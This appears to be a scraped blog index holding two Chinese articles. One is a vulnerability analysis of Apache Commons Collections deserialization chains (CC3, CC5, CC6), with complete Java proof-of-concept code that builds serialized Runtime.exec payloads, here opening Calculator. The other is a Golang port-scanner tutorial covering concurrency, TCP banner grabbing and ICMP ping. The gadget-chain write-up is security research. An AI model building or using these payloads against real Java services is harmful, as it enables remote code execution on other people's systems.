InstantiateTransformer.transform() (TrAXFilter)Constructor.newInstance() TrAXFilter#TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() (PayLoad)newInstance() Runtime.exec() 前半段链cc1已经介绍过了,这里是一样的,利用动态代理触发AnnotationInvocationHandler.invoke(),进而触发LazyMap.get() 这里factory为传入的ChainedTransformer,所以继续调用ChainedTransformer.transform() 然后循环调用transform,触发InstantiateTransformer.transform() 接下来利用 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞,与前面介绍的各个类就串联成了一个完整的利用链 值得一提的是用到了javassist动态创建字节码,或者也可以直接class文件读取字节码,前者明显方便很多 我们已经知道了两种Java的任意代码执行的构造方式: 利用可控的反射机制。具体的Class、Method等均可控时,利用反射机制,可以构造出任意的类调用、类函数调用 利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,对静态块注入恶意代码 cc3的poc: public class TrAXFilter_Exploit { public static void main(String[] args) throws Exception{ //1.先创建恶意类 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass tempExploitClass = pool.makeClass(\"evil\"); //一定要设置父类,为了后续顺利 tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); //写入payload,生成字节数组 String cmd = \"java.lang.Runtime.getRuntime().exec(\\\"open /System/Applications/Calculator.app\\\");\"; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte[] exploitBytes = tempExploitClass.toBytecode(); //2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件 TemplatesImpl tmpl = new TemplatesImpl(); //设置_bytecodes属性为exploitBytes Field bytecodes = TemplatesImpl.class","date":"2021-09-01","objectID":"/commons_collections_analysis/:2:0","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"CommonsCollections5 **环境:**JDK1.8、commons-collections-3.1-3.2.1 JDK 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 JDK 1.8 版本需要找出能替代 AnnotationInvocationHandler 的新的可以利用的类 所以这个对象需要满足: 类可序列化,类属性有个可控的Map对象或Object 该类的类函数上有调用这个Map.get的地方 TiedMapEntry TiedMapEntry有一个map类属性,且在getValue处调用了map.get函数。同时toString、hashCode、equals均调用了getValue函数,这里关注toString函数: public Object getValue() { return map.get(key); } public boolean equals(Object obj) { if (obj == this) { return true; } if (obj instanceof Map.Entry == false) { return false; } Map.Entry other = (Map.Entry) obj; Object value = getValue(); return (key == null ? other.getKey() == null : key.equals(other.getKey())) \u0026\u0026 (value == null ? other.getValue() == null : value.equals(other.getValue())); } public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public String toString() { return getKey() + \"=\" + getValue(); } 接下来需要找到一个可以触发TiedMapEntry.toString的类 BadAttributeValueExpException BadAttributeValueExpException类的readObject函数会自动调用类属性的toString函数,构造的时候把val属性设置为TiedMapEntry即可,因为是private属性,需要反射构造 ","date":"2021-09-01","objectID":"/commons_collections_analysis/:3:0","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"InvokerTransformer 这条链后半段就是cc1的TransformedMap,调用链如下: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() 前半段就是前文介绍的,反序列化时BadAttributeValueExpException.readObject()去调用TiedMapEntry.toString(),toString会调用getValue方法,getValue调用LazyMap.get(),最终完成反序列化链,poc如下: public class BadAttributeValueExpException_Exploit { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\",new Class[]{String.class,Class[].class},new Object[]{\"getRuntime\",null}), new InvokerTransformer(\"invoke\",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"open /System/Applications/Calculator.app\"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123); BadAttributeValueExpException payload = new BadAttributeValueExpException(null); Field val = BadAttributeValueExpException.class.getDeclaredField(\"val\"); val.setAccessible(true); val.set(payload,tmap); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(\"cc5_InvokerTransformer.ser\"))); fout.writeObject(payload); } } ","date":"2021-09-01","objectID":"/commons_collections_analysis/:3:1","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"InstantiateTransformer 其实cc3将前半段改为BadAttributeValueExpException.readObject-\u003e TiedMapEntry.toString-\u003e LazyMap.get调用,又可以组成一条新链,poc就不放了,利用链如下: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() (TrAXFilter)Constructor.newInstance() TrAXFilter#TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() (PayLoad)newInstance() Runtime.exec() ","date":"2021-09-01","objectID":"/commons_collections_analysis/:3:2","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"TemplatesImpl 先给出利用链: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() TiedMapEntry.getValue() LazyMap.get() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() Class.newInstance() Runtime.exec() 在TiedMapEntry的getValue中会将key参数传入,之后transform也会将key传递 在cc1中介绍过,InvokerTransformer.transform利用反射调用,这里直接input就是传入的key值,也就是TemplatesImpl类,利用反射调用直接调用TemplatesImpl.newTransformer,进而回到我们在cc3介绍过的TemplatesImpl类下的一系列触发链,最后调用defineClass进行字节码执行。 poc: public class TemplatesImpl_Exploit { public static void main(String[] args) throws Exception{ //1.先创建恶意类 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass tempExploitClass = pool.makeClass(\"evil\"); //一定要设置父类,为了后续顺利 tempExploitClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); //写入payload,生成字节数组 String cmd = \"java.lang.Runtime.getRuntime().exec(\\\"open /System/Applications/Calculator.app\\\");\"; tempExploitClass.makeClassInitializer().insertBefore(cmd); byte[] exploitBytes = tempExploitClass.toBytecode(); //2.new一个TemplatesImpl对象,修改tmpl类属性,为了满足后续利用条件 TemplatesImpl tmpl = new TemplatesImpl(); //设置_bytecodes属性为exploitBytes Field bytecodes = TemplatesImpl.class.getDeclaredField(\"_bytecodes\"); bytecodes.setAccessible(true); bytecodes.set(tmpl, new byte[][]{exploitBytes}); //一定要设置_name不为空 Field _name = TemplatesImpl.class.getDeclaredField(\"_name\"); _name.setAccessible(true); _name.set(tmpl, \"leon\"); //_class为空 Field _class = TemplatesImpl.class.getDeclaredField(\"_class\"); _class.setAccessible(true); _class.set(tmpl, null); //3.构造InvokerTransformer InvokerTransformer iInvokerTransformer = new InvokerTransformer(\"newTransformer\", new Class[]{}, new Object[]{}); //InvokerTransformer iInvokerTransformer = new InvokerTransformer(\"getOutputProperties\",new Class[]{},new Object[]{});也可以 HashMap innermap = new HashMap(); LazyMap lazymap = (LazyMap)LazyMap.decorate(innermap,iInvokerTransformer); TiedMapEntry tmap = new TiedMapEntry(lazymap, tmpl); BadAttributeValueExpException payload = new BadAttributeValueExpException(null); Field val = BadAttributeValueExpException.class.getDeclaredField(\"val\"); val.setAccessible(true); val.set(payload,tmap); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(\"cc5_TemplatesImpl.ser\"))); fout.writeObject(payload); } } ","date":"2021-09-01","objectID":"/commons_collections_analysis/:3:3","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"CommonsCollections6 ","date":"2021-09-01","objectID":"/commons_collections_analysis/:4:0","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"HashMap 在 CC5 中介绍TiedMapEntry的时候之前看到了hashcode方法也会调用 getValue() 方法然后调用到其中 map 的 get 方法触发 LazyMap,现在需要找到如何去触发TiedMapEntry.hashCode 后半段链不变,还是CC1的TransformedMap链后半部分 在反序列化一个 HashMap 对象时,会调用 key 对象的 hashCode 方法计算 hash 值,也就是HashMap的readObject方法: 但是构造完后发现,在LazyMap.get方法中会判断不通过,链子会断掉,无法进入ChainedTransformer.transform 我们可以改写一下,将lazyMap中hashmap的put之后的key去掉,这样就可以先执行,然后在反序列化时候再执行一遍,用lazyMap.remove(123)或者lazyMap.clear()都行 利用链如下: ObjectInputStream.readObject() HashMap.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() poc: public class HashMap_Exploit { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\",new Class[]{String.class,Class[].class},new Object[]{\"getRuntime\",null}), new InvokerTransformer(\"invoke\",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"open /System/Applications/Calculator.app\"}) }; Transformer chain = new ChainedTransformer(transformers_exec); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123); HashMap hashMap = new HashMap(); hashMap.put(tmap, \"test\"); lazyMap.clear(); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(\"cc6_HashMap.ser\"))); fout.writeObject(hashMap); } } ","date":"2021-09-01","objectID":"/commons_collections_analysis/:4:1","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"fackchain 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再利用反射将lazymap内部的_itransformer属性改回到真正的chain public class fackchain_Exploit { public static void main(String[] args) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\"getMethod\",new Class[]{String.class,Class[].class},new Object[]{\"getRuntime\",null}), new InvokerTransformer(\"invoke\",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer(\"exec\",new Class[]{String.class},new Object[]{\"open /System/Applications/Calculator.app\"}) }; Transformer[] fakeTransformer = new Transformer[]{}; //fake chain Transformer chain = new ChainedTransformer(fakeTransformer); HashMap innerMap = new HashMap(); //先构造假的chain Map lazyMap = LazyMap.decorate(innerMap,chain); TiedMapEntry tmap = new TiedMapEntry(lazyMap, 123); HashMap hashMap = new HashMap(); hashMap.put(tmap, \"test\"); //用反射再改回真的chain Field f = ChainedTransformer.class.getDeclaredField(\"iTransformers\"); f.setAccessible(true); f.set(chain, transformers_exec); //清空由于 hashMap.put 对 LazyMap 造成的影响 lazyMap.clear(); ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream(new File(\"cc6_fakechain.ser\"))); fout.writeObject(hashMap); } } ","date":"2021-09-01","objectID":"/commons_collections_analysis/:4:2","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"HashSet HashSet的readObject方法会调用map.put,这里map可以控制为HashMap,进而调用HashMap.put HashMap.put又会去调用HashMap.hash方法对key进行hashCode操作 这里k就是传入的key,所以当我们控制key为TiedMapEntry的key时,就可以触发TiedMapEntry.hashCode,从而回到之前介绍过的利用链上 利用链如下: ObjectInputStream.readObject() HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform InvokerTransformer.transform( Method.invoke() Class.getMethod() InvokerTransformer.transform( Method.invoke() Runtime.getRuntime() InvokerTransformer.transform( Method.invoke() Runtime.exec() 当然,到这里只是前半段进行了更改,后半段链子也可以进行替换,比如InstantiateTransformer和TemplatesImpl的利用链,前文也都介绍过,排列组合又是几条利用链 ","date":"2021-09-01","objectID":"/commons_collections_analysis/:4:3","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Vulnerability Analysis"],"content":"Reference https://github.com/frohoff/ysoserial https://paper.seebug.org/312/#6-java-apache-commonscollections-rce https://xz.aliyun.com/t/8009 https://blog.0kami.cn/2019/10/24/java/study-java-deserialized-commonscollections3-1/ https://su18.org/post/ysoserial-su18-2/ ","date":"2021-09-01","objectID":"/commons_collections_analysis/:5:0","tags":["Java","commons collections","code_audit","RCE"],"title":"Apache Commons Collections反序列化链分析","uri":"/commons_collections_analysis/"},{"categories":["Notes"],"content":"记录了使用golang开发扫描器的一些常用技术 搬砖的gopher\" 搬砖的gopher ","date":"2021-08-16","objectID":"/golang_scan_tech/:0:0","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"Golang 简介 Go语言(或 Golang)起源于 2007 年,并在 2009 年正式对外发布。Go 是非常年轻的一门语言,它的主要目标是“兼具 Python 等动态语言的开发速度和 C/C++ 等编译型语言的性能与安全性”。 Go语言是编程语言设计的又一次尝试,是对类C语言的重大改进,它不但能让你访问底层操作系统,还提供了强大的网络编程和并发编程支持。 Go语言的推出,旨在不损失应用程序性能的情况下降低代码的复杂性,具有“部署简单、并发性好、语言设计良好、执行性能好”等优势,目前国内诸多 IT 公司均已采用Go语言开发项目,其中包括 Docker、Go-Ethereum、Thrraform 和 Kubernetes。 作为程序员,要开发出能充分利用硬件资源的应用程序是一件很难的事情。现代计算机都拥有多个核心,但是大部分编程语言都没有有效的工具让程序可以轻易利用这些资源。编程时需要写大量的线程同步代码来利用多个核,很容易导致错误。 Go语言正是在多核和网络化的时代背景下诞生的原生支持并发的编程语言。Go语言从底层原生支持并发,无需第三方库,开发人员可以很轻松地在编写程序时决定怎么使用 CPU 资源。 Go语言的并发是基于 goroutine 的,goroutine 类似于线程,但并非线程。可以将 goroutine 理解为一种虚拟线程。Go语言运行时会参与调度 goroutine,并将 goroutine 合理地分配到每个 CPU 中,最大限度地使用 CPU 性能。 多个 goroutine 中,Go语言使用通道(channel)进行通信,通道是一种内置的数据结构,可以让用户在不同的 goroutine 之间同步发送具有类型的消息。这让编程模型更倾向于在 goroutine 之间发送消息,而不是让多个 goroutine 争夺同一个数据的使用权。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:1:0","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"并发技术 无论是扫描器还是各种高并发web服务,都少不了使用到并发技术,而 Golang 原生支持了这一特性,这也是 Golang 被广泛使用在各种高并发场景的原因。 Go语言的并发机制运用起来非常简便,在启动并发的方式上直接添加了语言级的关键字就可以实现,和其他编程语言相比更加轻量。 下面来介绍几个概念: ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:0","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"进程/线程 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。 线程是进程的一个执行实体,是 CPU 调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。 一个进程可以创建和撤销多个线程,同一个进程中的多个线程之间可以并发执行。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:1","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"并发/并行 并发:把任务在不同的时间点交给处理器进行处理。在同一时间点,任务并不会同时运行。 并行:把每一个任务分配给每一个处理器独立完成。在同一时间点,任务一定是同时运行。 并发与并行并不相同,并发主要由切换时间片来实现“同时”运行,并行则是直接利用多核实现多线程的运行,Go程序可以设置使用核心数,以发挥多核计算机的能力。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:2","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"协程/线程 协程:独立的栈空间,共享堆空间,调度由用户自己控制,本质上有点类似于用户级线程,这些用户级线程的调度也是自己实现的。 线程:一个线程上可以跑多个协程,协程是轻量级的线程。 关于协程和线程的具体区别,可以参考线程和协程的区别的通俗说明一文 ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:3","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"Goroutine Goroutine 是 Go语言中的轻量级线程实现,由 Go 运行时(runtime)管理。Go 程序会智能地将 goroutine 中的任务合理地分配给每个 CPU。 Go 程序从 main 包的 main() 函数开始,在程序启动时,Go 程序就会为 main() 函数创建一个默认的 goroutine。 Goroutine 的用法如下: //go 关键字放在方法调用前新建一个 goroutine 并执行方法体 go GetThingDone(param1, param2); //新建一个匿名方法并执行 go func(param1, param2) { }(val1, val2) //直接新建一个 goroutine 并在 goroutine 中执行代码块 go { //do someting... } 注: 使用 go 关键字创建 goroutine 时,被调用函数的返回值会被忽略 如果需要在 goroutine 中返回数据,可以使用 channel 把数据从 goroutine 中作为返回值传出 所有 goroutine 在 main() 函数结束时会一同结束。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:4","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"runtime.GOMAXPROCS 在 Go语言程序运行时(runtime)实现了一个小型的任务调度器。这套调度器的工作原理类似于操作系统调度线程,Go 程序调度器可以高效地将 CPU 资源分配给每一个任务。传统逻辑中,开发者需要维护线程池中线程与 CPU 核心数量的对应关系。同样的,Go 地中也可以通过 runtime.GOMAXPROCS() 函数做到,格式为: runtime.GOMAXPROCS(逻辑CPU数量) 一般情况下,可以使用 runtime.NumCPU() 查询 CPU 数量,并使用 runtime.GOMAXPROCS() 函数进行设置,例如: runtime.GOMAXPROCS(runtime.NumCPU()) Go 1.5 版本之前,默认使用的是单核心执行。从 Go 1.5 版本开始,默认执行上面语句以便让代码并发执行。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:5","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"Channel 一个 channel 是一个通信机制,它可以让一个 goroutine 通过它给另一个 goroutine 发送值信息。每个 channel 都有一个特殊的类型,也就是 channels 可发送数据的类型。 Go语言提倡使用通信的方法代替共享内存,当一个资源需要在 goroutine 之间共享时,通道在 goroutine 之间架起了一个管道,并提供了确保同步交换数据的机制。声明通道时,需要指定将要被共享的数据的类型。可以通过通道共享内置类型、命名类型、结构类型和引用类型的值或者指针。 在任何时候,同时只能有一个 goroutine 访问通道进行发送和获取数据。goroutine 间通过通道就可以通信,通道像一个传送带或者队列,总是遵循先入先出(First In First Out)的规则,保证收发数据的顺序。 声明通道类型 var 通道变量 chan 通道类型 //通道类型:通道内的数据类型。 //通道变量:保存通道的变量。 创建通道 通道实例 := make(chan 数据类型) //数据类型:通道内传输的元素类型。 //通道实例:通过make创建的通道句柄。 eg: ch1 := make(chan int) // 创建一个整型类型的通道 ch2 := make(chan interface{}) // 创建一个空接口类型的通道, 可以存放任意格式 使用通道发送数据 通道变量 \u003c- 值 //通道变量:通过make创建好的通道实例。 //值:可以是变量、常量、表达式或者函数返回值等。值的类型必须与ch通道的元素类型一致。 eg: // 创建一个空接口通道 ch := make(chan interface{}) // 将0放入通道中 ch \u003c- 0 // 将hello字符串放入通道中 ch \u003c- \"hello\" 把数据往通道中发送时,如果接收方一直都没有接收,那么发送操作将持续阻塞直至数据被接收。 使用通道接收数据 阻塞接收数据 阻塞模式接收数据时,将接收变量作为\u003c-操作符的左值,格式如下: data := \u003c-ch 执行该语句时将会阻塞,直到接收到数据并赋值给 data 变量。 非阻塞接收数据 使用非阻塞方式从通道接收数据时,语句不会发生阻塞,格式如下: data, ok := \u003c-ch //data:表示接收到的数据。未接收到数据时,data 为通道类型的零值。 //ok:表示是否接收到数据。 非阻塞的通道接收方法可能造成高的 CPU 占用,因此使用非常少。如果需要实现接收超时检测,可以配合 select 和计时器 channel 进行。 接收任意数据,忽略接收的数据 阻塞接收数据后,忽略从通道返回的数据,格式如下: \u003c-ch 执行该语句时将会发生阻塞,直到接收到数据,但接收到的数据会被忽略。这个方式实际上只是通过通道在 goroutine 间阻塞收发实现并发同步。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:6","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"sync.WaitGroup 经常会看到以下代码: func main(){ for i := 0; i \u003c 100 ; i++{ go fmt.Println(i) } time.Sleep(time.Second) } 为了等待所有 goroutine 运行完毕,不得不在程序的末尾使用time.Sleep() 来睡眠一段时间,等待其他线程充分运行,对于简单的代码这样做既方便也简单,但是遇到复杂的代码,无法估计运行时间时,就不能使用time.Sleep来等待所有 goroutine 运行完成了。 可以考虑使用管道来完成上述操作: func main() { c := make(chan bool, 100) for i := 0; i \u003c 100; i++ { go func(i int) { fmt.Println(i) c \u003c- true }(i) } for i := 0; i \u003c 100; i++ { \u003c-c } } 但是管道被设计出来不仅仅只是在这里用作简单的同步处理,假设我们有十万甚至更多的for循环,需要申请同样数量大小的管道出来,对内存是不小的开销。 sync.WaitGroup可以方便的解决这种情况: func main() { wg := sync.WaitGroup{} wg.Add(100) for i := 0; i \u003c 100; i++ { go func(i int) { fmt.Println(i) wg.Done() }(i) } wg.Wait() } 官方文档对 WaitGroup 的描述是:一个 WaitGroup 对象可以等待一组协程结束。 使用方法是: main协程通过调用 wg.Add(delta int) 设置worker协程的个数,然后创建worker协程; worker协程执行结束以后,都要调用 wg.Done(); main协程调用 wg.Wait() 且被阻塞,直到所有worker协程全部执行结束后返回。 以端口扫描器中的代码片段为例: //限制goroutine数量 ch = make(chan bool, goroutineNum) func run(){ //... for _, host := range ipList { for _, port := range portList { ch \u003c- true wg.Add(1) go scan(host, port) } } wg.Wait() } func scan(host string, port int) { //... \u003c-ch wg.Done() } ","date":"2021-08-16","objectID":"/golang_scan_tech/:2:7","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"通信技术 Golang 提供了官方库net为网络 I/O 提供了一个便携式接口,包括 TCP/IP,UDP,域名解析和 Unix 域套接字。 端口扫描与主机存活探测主要用到tcp、udp、arp与icmp协议。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:3:0","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"常用函数 func Dial func Dial(network, address string) (Conn, error) //Dial 连接到指定网络上的地址。 eg: Dial(\"tcp\", \"golang.org:http\") Dial(\"tcp\", \"192.0.2.1:http\") Dial(\"tcp\", \"198.51.100.1:80\") Dial(\"ip4:1\", \"192.0.2.1\") Dial(\"ip6:ipv6-icmp\", \"2001:db8::1\") Dial(\"ip6:58\", \"fe80::1%lo0\") 已知网络是“tcp”,“tcp4”(仅IPv4),“tcp6”(仅IPv6),“udp”,“udp4”(仅IPv4),“udp6”(仅IPv6),“ip” ,“ip4”(仅限IPv4),“ip6”(仅限IPv6),“unix”,“unixgram”和“unixpacket”。 对于TCP和UDP网络,地址格式为“主机:端口”。主机必须是文字IP地址或可以解析为IP地址的主机名。该端口必须是文字端口号或服务名称。如果主机是文字IPv6地址,则必须将其放在方括号中,如“2001:db8 :: 1:80”或“fe80 :: 1%zone:80”中所示。 对于IP网络,网络必须是“ip”,“ip4”或“ip6”,后跟冒号和文字协议号或协议名称,地址格式为“主机”。主机必须是文字IP地址或带区域的文字IPv6地址。它取决于每个操作系统操作系统的行为如何使用不知名的协议编号,例如“0”或“255”。 对于Unix网络,地址必须是文件系统路径。 func DialTimeout func DialTimeout(network, address string, timeout time.Duration) (Conn, error) //DialTimeout与Dial相同,但需要超时。 在扫描器中,仅是为了探测端口或主机是否开放,所以需要设置连接超时,否则可能出现阻塞影响正常扫描的情况。 示例代码为: //tcp探测端口是否开放 conn, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\"%s:%d\", host, port), time.Duration(timeout)*time.Millisecond) //icmp探测主机是否存活 conn, err := net.Dial(\"ip:icmp\", host) func ParseCIDR func ParseCIDR(s string) (IP, *IPNet, error) //ParseCIDR将s解析为CIDR表示法IP地址和前缀长度,如RFC 4632和RFC 4291中定义的“192.0.2.0/24”或“2001:db8 :: / 32”。 它返回由IP和前缀长度暗示的IP地址和网络。例如,ParseCIDR(“192.0.2.1/24”)返回IP地址192.0.2.1和网络192.0.2.0/24。 func ParseIP func ParseIP(s string) IP //ParseIP将s解析为IP地址,并返回结果。 字符串s可以采用点分十进制(“192.0.2.1”)或IPv6(“2001:db8 :: 68”)形式。如果s不是IP地址的有效文本表示,则ParseIP返回nil。 func (*IPConn) SetReadDeadline func (c *IPConn) SetReadDeadline(t time.Time) error //SetReadDeadline设置从流中读取信息的超时时间。 在扫描器中需要获取开放端口的banner时,常常需要从流中读取返回信息,若不设置超时,将会出现不可预估的阻塞情况。 ","date":"2021-08-16","objectID":"/golang_scan_tech/:3:1","tags":["Golang","Scanner"],"title":"Golang开发端口扫描器一些常用技术","uri":"/golang_scan_tech/"},{"categories":["Notes"],"content":"一些示例 解析IP 对扫描器而言,用户传入的参数可以为192.168.1.1-255、192.168.1.1/24等,所以需要对ip进行解析: if net.ParseIP(item) != nil { ipList = append(ipList, item) } else if ip, network, err := net.ParseCIDR(item); err == nil { n, _ := network.Mask.Size() ipSub := strings.Split(ip.Mask(network.Mask).String(), \".\") //... } else if strings.Contains(item, \"-\") { //... } else { return ipList, fmt.Errorf(\"%s is not an IP Address or CIDR Network\", item) } 利用net.ParseIP与net.ParseCIDR判断传入的是否为CIDR模式的地址,利用network.Mask.Size()可以获取192.168.1.1/24中的掩码大小值24。 tcp连接并读取banner var msg [128]byte var str string conn, err := net.DialTimeout(\"tcp\", fmt.Sprintf(\"%s:%d\", host, port), time.Duration(timeout)*time.Millisecond) if err != nil { return false, str } conn.SetReadDeadline((time.Now().Add(time.Millisecond * time.Duration(timeout)))) _, err = conn.Read(msg[0:]) 使用SetReadDeadline设置读取超时,将128字节的返回信息读入msg [128]byte中 ping功能实现 使用icmp协议连接实现ping功能的核心代码: func ping(host string) { conn, err := net.Dial(\"ip:icmp\", host) if err != nil { fmt.Println(err.Error()) os.Exit(1) } defer conn.Close() var msg [512]byte msg[0] = 8 msg[1] = 0 msg[2] = 0 msg[3] = 0 msg[4] = 0 msg[5] = 13 msg[6] = 0 msg[7] = 37 msg[8] = 99 len := 9 check := checkSum(msg[0:len]) msg[2] = byte(check \u003e\u003e 8) msg[3] = byte(check \u0026 0xff) //fmt.Println(msg[0:len]) for i := 0; i \u003c 2; i++ { _, err = conn.Write(msg[0:len]) if err != nil { continue } conn.SetReadDeadline((time.Now().Add(time.Millisecond * 400))) _, err := conn.Read(msg[0:]) if err != nil { continue } //fmt.Println(msg[0 : 20+len]) //fmt.Println(\"Got response\") if msg[20+5] == 13 \u0026\u0026 msg[20+7] == 37 \u0026\u0026 msg[20+8] == 99 { //host is up fmt.Printf(\"%s open\\n\", ljust(host, 21)) openHostList = append(openHostList, host) return } } } func checkSum(msg []byte) uint16 { sum := 0 len := len(msg) for i := 0; i \u003c len-1; i += 2 { sum += int(msg[i])*256 + int(msg[i+1]) } if len%2 == 1 { sum += int(msg[len-1]) * 256 } sum = (sum \u003e\u003e 16) + (sum \u0026 0xffff) sum += (sum \u003e\u003e 16) var answer uint16 = uint16(^sum) return answer } 广播ARP识别主机厂家信息 思路: 向内网广播ARP Request 监听并抓取ARP Response包,记录IP和Mac地址 发活跃IP发送MDNS和NBNS包,并监听和解析Hostname 根据Mac地址计算出厂家信息 ARP(Address Resolution Protocol),地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址。 当我们要向以太网中另一台主机发送IP数据时,本地会根据目的主机的IP地址在ARP高速缓存中查询相应的以太网地址,ARP高速缓存是主机维护的一个IP地址到相应以太网地址的映射表。如果查询失败,ARP会广播一个询问(op字段为1)目的主机硬件地址的报文,等待目标主机的响应。 